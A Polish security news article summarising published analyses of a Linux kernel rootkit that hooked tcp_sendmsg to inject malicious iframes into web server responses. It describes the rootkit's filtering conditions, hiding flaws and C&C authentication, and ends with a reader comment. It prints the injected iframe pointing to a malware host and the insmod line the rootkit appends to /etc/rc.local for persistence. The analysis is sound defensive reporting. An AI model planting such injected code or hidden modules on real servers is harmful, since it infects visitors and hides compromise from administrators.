Często spotykamy ataki, polegające na przekierowaniu na złośliwą witrynę osób odwiedzających niewinną stronę www. Atakujący włamuje się na serwer i dokleja do kodu strony przekierowanie. Pierwszy raz jednak znaleziono rootkita o takiej funkcjonalności.
Tydzień temu na liście dyskusyjnej Full Disclosure pojawił się ciekawy post. Opisywał on przypadek serwera www, który serwował linki do złośliwych stron. Jego administrator najpierw sprawdził kod stron i skryptów umieszczonych na serwerze, jednak nie znalazł tam niczego niepokojącego. Kiedy jednak sam wykonał nieprawidłowe zapytanie, zobaczył w odpowiedzi serwera wstrzyknięty złośliwy kod.
<html> <head><title>400 Bad Request</title></head> <body bgcolor="white"><style><iframe src="http://malware-site/index.php"></iframe></div> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/1.2.3</center>
Sprawdzono pamięć serwera, jednak nie odnaleziono w niej tego fragmentu kodu. Dopiero bardziej wnikliwa analiza pozwoliła na odkrycie rootkita, który modyfikował odpowiedzi wysyłane przez serwer www. Plik rootkita został udostępniony wszystkim zainteresowanym, czego efektem była publikacja jego analizy przez Crowdstrike oraz Kasperskiego. Poniżej opiszemy najciekawsze wnioski, do których doszli specjaliści tych firm.
Rootkit został przygotowany specjalnie dla jądra w wersji 2.6.32-5-amd64, czyli dla najnowszego Debiana Squeezy w wersji 64-bitowej. Aby zapewnić swój start wraz z systemem, dopisuje odpowiedni wiersz do /etc/rc.local
insmod /lib/modules/2.6.32-5-amd64/kernel/sound/module_init.ko
Następnie pobiera adresy niektórych funkcji i wykorzystuje je między innymi do ukrycia swojego istnienia w systemie. Próbuje ukrywać zarówno swoje procesy, jak i pliki. Co ciekawe, nie stosuje tradycyjnych metod ukrywania plików i katalogów w oparciu o tajny ciąg, który musi zawierać nazwa maskowanego zasobu, lecz próbuje identyfikować pliki i katalogi w oparciu o zestaw wbudowanych zmiennych. Powoduje to, że o ile pliki rootkita nie pojawiają się przy próbie wylistowania katalogu, o tyle znając ich pełną ścieżkę możemy uzyskać do nich dostęp.
Ukrywanie procesów korzysta z mechanizmu ukrywania plików. Niestety twórcy rootkita zapomnieli dodać do listy nadrzędnych katalogów, w których działa proces ukrywania, katalogu /proc, przez co funkcjonalność ukrywania procesów jest całkowicie bezużyteczna – wszystkie widać jak na dłoni.
Widoczne procesy rootkita (źródło: Crowdstrike)
Najciekawszym jego elementem jest podmiana funkcji tcp_sendmsg, odpowiedzialnej za wysyłanie pakietów TCP. Rootkit modyfikuje pakiety w locie, wstrzykując do odpowiedzi serwera HTTP swój kod. Przed wstrzyknięciem kodu rootkit wykonuje kilka testów:
- kod wstrzykiwany jest jedynie co n-ty bufor
- rozmiar bufora jest mniejszy bądź równy 19879 bajtów
- ruch wychodzi z portu 80
- IP docelowe jest różne od 127.0.0.1
- w buforze nie pojawia się ciąg „403 Forbidden”, „304 Not Modified” ani ” was not found on this server”
- docelowy adres IP nie jest jednym z 1708 adresów zapisanych na stałe w kodzie.
Testy te nie są jednak doskonałe. Zamiast sprawdzać, czy kod odpowiedzi http to 200, rootkit dokonuje weryfikacji negatywnej. Spowodowało to jego szybsze wykrycie przez znalezienie fragmentu doklejonego kodu w odpowiedzi z błędem 400. Poza tym wstrzykiwanie kodu co n-ty bufor oznacza, że będzie się on pojawiać znacznie częściej, niż gdyby był wstrzykiwany co n-te połączenie – co również podnosi ryzyko wykrycia rootkita.
Kod do wstrzyknięcia pobiera z serwera C&C zlokalizowanego w Niemczech, którego adres IP jest na stałe zaszyty w kodzie. Do uwierzytelnienia sesji z serwerem C&C rootkit używa ciągu, wygenerowanego przez zaszyfrowanie 1224 zerowych bajtów statycznym 128-bajtowym hasłem, adresem IP serwera C&C oraz adresem IP serwera znajdującego się w Szwajcarii, który nie pojawia się już w żadnym innym miejscu kodu. Co ciekawe, rootkit potrafi wstrzyknąć swój kod również do odpowiedzi gzipowanych przez serwer – takie bufory rozpakowuje, dokleja swój kod i pakuje ponownie.
Analiza kodu rootkita wykazała, że został on zbudowany od zera – nie wykorzystuje fragmentów podobnych, istniejących narzędzi. Liczne błędy w logice działania programu oraz czasem karkołomne metody przeprowadzania niektórych operacji wskazują, że choć autor miał pojęcie o programowaniu na poziomie jądra systemu, to daleko mu było do doskonałości. Jest także możliwe, że pracę jednego autora poprawiał inny, psując część funkcjonalności kodu.
Bez wątpienia to ciekawy przykład ataku. Mając dostęp do serwera www, atakujący zdecydował się nie zmieniać zawartości plików HTML czy javascript. Zamiast tego zdobył uprawnienia roota i stworzył rootkita, którego zadaniem było wstrzyknięcie fragmentów kodu. Być może gdyby rootkit działał prawidłowo, wykrycie go było by znacznie trudniejsze niż zwykłej modyfikacji kodu – na razie jednak wygląda na to, że znacznie większy wysiłek atakującego doprowadził go do takiego samego efektu, jaki uzyskałby, doklejając linijkę kodu do pliku javascript.
Komentarz
I to jest piękne, a nie wgrywanie phpshela do katalogów osCommerce czy Joomli ;-) Więcej takich newsów, tylko sie zastanawiam, czy to nie będzie strzał w stopę. Z jednej strony człowiek by poczytał, a z drugiej to woli mieć spokój w pracy ;-)